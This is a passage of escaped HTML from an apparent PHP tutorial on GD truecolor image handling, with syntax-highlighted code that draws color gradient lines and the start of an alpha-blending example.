&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-14&quot;&gt;
14&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-15&quot;&gt;
15&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e11-16&quot;&gt;
16&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e11-17&quot;&gt;
17&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ff3cdcde-6aef-438d-a14c-aa828225f46a&quot; id=&quot;63348367-63ea-42c8-bab9-f2a08d25cf39&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ff3cdcde-6aef-438d-a14c-aa828225f46a&quot; id=&quot;c040278f-ea26-40b7-89cc-72f7d8cafff9&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-2&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageCreateTruecolor&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;bc224493-5d43-4785-b589-5b97a21e28cb&quot; id=&quot;df3233ba-8102-43ca-bdff-098b4f304e51&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-3&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3d933ba4-7e41-44cc-aca5-0f99e2b9d033&quot; id=&quot;c685e411-ecb2-4349-802e-130cd5bd2384&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3d933ba4-7e41-44cc-aca5-0f99e2b9d033&quot; id=&quot;d757c861-fa1a-45f9-a38a-cdba35c04ff8&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-4&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2514e52e-b4af-46ac-981a-fc541b3fe3f2&quot; id=&quot;7bef512c-6627-430b-b452-7458bb9b46d0&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2514e52e-b4af-46ac-981a-fc541b3fe3f2&quot; id=&quot;448928ab-f987-49ea-8454-85a524476e65&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2514e52e-b4af-46ac-981a-fc541b3fe3f2&quot; id=&quot;78939b65-cb7a-4414-8fff-8f9abba396ed&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-5&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0ce743e7-c416-497a-b9b6-863868a58a37&quot; id=&quot;29ae532f-0d83-4784-a618-653f0939530d&quot;&gt;ImageLine&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0ce743e7-c416-497a-b9b6-863868a58a37&quot; id=&quot;815c21d0-3545-4274-9789-8bd740b428a4&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0ce743e7-c416-497a-b9b6-863868a58a37&quot; id=&quot;7ead182f-5a73-4510-86f0-b6331692d865&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-6&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-7&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;878d0c22-38c6-4471-af94-cfa2a1cddb34&quot; id=&quot;33ad05f1-a0fd-43f4-b2f1-22525d6fa07e&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;878d0c22-38c6-4471-af94-cfa2a1cddb34&quot; id=&quot;c162b351-1a1f-4f5a-8394-571a6e1a159b&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-8&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d4778587-d02d-4a9d-a25e-f77b150698cc&quot; id=&quot;ffafca40-4e62-4959-af76-f29f5f380c62&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d4778587-d02d-4a9d-a25e-f77b150698cc&quot; id=&quot;c58b669c-e129-414a-808f-cf1fc2db0ee7&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d4778587-d02d-4a9d-a25e-f77b150698cc&quot; id=&quot;8943d858-eb2d-4710-af04-0679f766dd62&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d4778587-d02d-4a9d-a25e-f77b150698cc&quot; id=&quot;a68871b1-5657-45d8-858c-08c3e934d551&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-9&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-10&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-11&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dfa617e4-093f-413f-a5c9-e37c7eddde1c&quot; id=&quot;bfaf1df4-6b15-4056-bbb6-a97da810de06&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dfa617e4-093f-413f-a5c9-e37c7eddde1c&quot; id=&quot;02783a77-f000-41f9-a0bb-f67c3c43a1a9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-12&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;89ea1445-9b70-4962-9e80-83838cce1910&quot; id=&quot;d77bd347-220f-4bb3-aea3-ede9c0830fa0&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;89ea1445-9b70-4962-9e80-83838cce1910&quot; id=&quot;4a73de2a-5499-494f-8a0b-040bea13aab8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;89ea1445-9b70-4962-9e80-83838cce1910&quot; id=&quot;75ea99b1-b991-4454-9c53-d887b7aea24b&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-13&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-14&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-15&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;56fb0525-7688-4ef9-bf0a-197a4cfcfabe&quot; id=&quot;80d8c32c-1a46-4563-adb0-c8b9c382cb60&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Content-Type: image/png&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e11-16&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d8ab1abe-e10c-4d38-a458-922f895e4b8a&quot; id=&quot;f33fcfcd-063d-4c13-8a5d-44b55f174df6&quot;&gt;ImagePNG&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d8ab1abe-e10c-4d38-a458-922f895e4b8a&quot; id=&quot;47d0442d-f644-45d9-8cb5-8219f2c88cd8&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e11-17&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h5&gt;
Output:&lt;/h5&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/true-color-handling.jpg&quot;&gt;&lt;img alt=&quot;paint colors&quot; class=&quot;alignnone size-full wp-image-625&quot; height=&quot;256&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/true-color-handling.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h3&gt;
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8360e003-a46a-4921-9eea-20d442b057d7&quot; id=&quot;c8f1fd97-798c-45b1-ac1d-d9f778595115&quot;&gt;Truecolor&lt;/span&gt;&lt;/h3&gt;
For &lt;strong&gt;Truecolor&lt;/strong&gt; images the colors are actually simple 31-bit longs. Or, think of them as being composed of 4 bytes arranged like this:&lt;br /&gt;

&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/truecolor.jpg&quot;&gt;&lt;img alt=&quot;truecolor&quot; class=&quot;alignnone size-medium wp-image-626&quot; height=&quot;31&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/truecolor-300x31.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

The highest or leftmost bit in the alpha channel is not used which 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;62b0a782-2871-40e2-87ce-022095407bb7&quot; id=&quot;3f7ce6e0-c20e-41c7-ba50-158b564823f4&quot;&gt;means&lt;/span&gt; the alpha channel can only have values from 0 to 127. You can use 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ac708fa7-987f-4fe9-9298-b7edc33bc5bf&quot; id=&quot;255cd38b-ab11-4b76-85aa-8181b66f2f19&quot;&gt;the&lt;/span&gt; ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ac708fa7-987f-4fe9-9298-b7edc33bc5bf&quot; id=&quot;6a3de94f-91d9-47bf-ad83-ce9e6856694a&quot;&gt;(&lt;/span&gt;) as with &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ac708fa7-987f-4fe9-9298-b7edc33bc5bf&quot; id=&quot;3801ccb3-40d6-4885-bf5b-91750df5abf0&quot;&gt;paletted&lt;/span&gt; images, but you can also 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;74c75234-7d35-4acf-b302-0c522f764ca5&quot; id=&quot;25098007-a68c-4f09-aaa9-66d70ae83fa2&quot;&gt;specify&lt;/span&gt; the color directly.&lt;br /&gt;

&lt;h3&gt;
Example&lt;/h3&gt;
&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0613213e53&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;54fcd12d-1876-47e9-8089-e72d7e585694&quot; id=&quot;3b2eb5d2-dfe8-4391-940e-8f294e0bb648&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;54fcd12d-1876-47e9-8089-e72d7e585694&quot; id=&quot;db2348d3-7eb7-4148-a040-81555eb62a1a&quot;&gt;php&lt;/span&gt;
$im = ImageCreateTruecolor&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2dcd0a87-7ba5-4329-b068-d5705166751e&quot; id=&quot;6d676d1b-12e3-434d-a444-2dcff60103e9&quot;&gt;(&lt;/span&gt;400,300);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f98d8001-da2c-41a4-b29c-882da9e3bdca&quot; id=&quot;8220cafc-6eb4-4054-a017-1e2bdf88352e&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f98d8001-da2c-41a4-b29c-882da9e3bdca&quot; id=&quot;27f55463-90a0-493e-9548-92903d5d64c4&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f98d8001-da2c-41a4-b29c-882da9e3bdca&quot; id=&quot;b891aa3b-b0d4-403c-9cbd-2ee7037b772f&quot;&gt;,&lt;/span&gt;0,0,399,299,0x00ffffff);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6ce28447-6ed9-4f6e-b06e-40538401bbf3&quot; id=&quot;018f491b-dd45-4e12-874b-41503b8898a3&quot;&gt;ImageFilledEllipse&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6ce28447-6ed9-4f6e-b06e-40538401bbf3&quot; id=&quot;eded861a-cb99-4e04-9d40-e8de33ee4832&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6ce28447-6ed9-4f6e-b06e-40538401bbf3&quot; id=&quot;744fe839-5c2a-46ed-b6b1-0074a0303ceb&quot;&gt;,&lt;/span&gt;200,150,300,300,0x00000000);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f945a5b6-21b4-46dd-bcdf-20f452b84305&quot; id=&quot;f7f19972-92bc-48af-8423-c6f23fd94085&quot;&gt;ImageAlphaBlending&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f945a5b6-21b4-46dd-bcdf-20f452b84305&quot; id=&quot;28f09575-7ea7-4ddb-8d44-0092d35124f9&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f945a5b6-21b4-46dd-bcdf-20f452b84305&quot; id=&quot;227e1516-1616-48db-921d-fd083e3f6762&quot;&gt;,&lt;/span&gt;true);
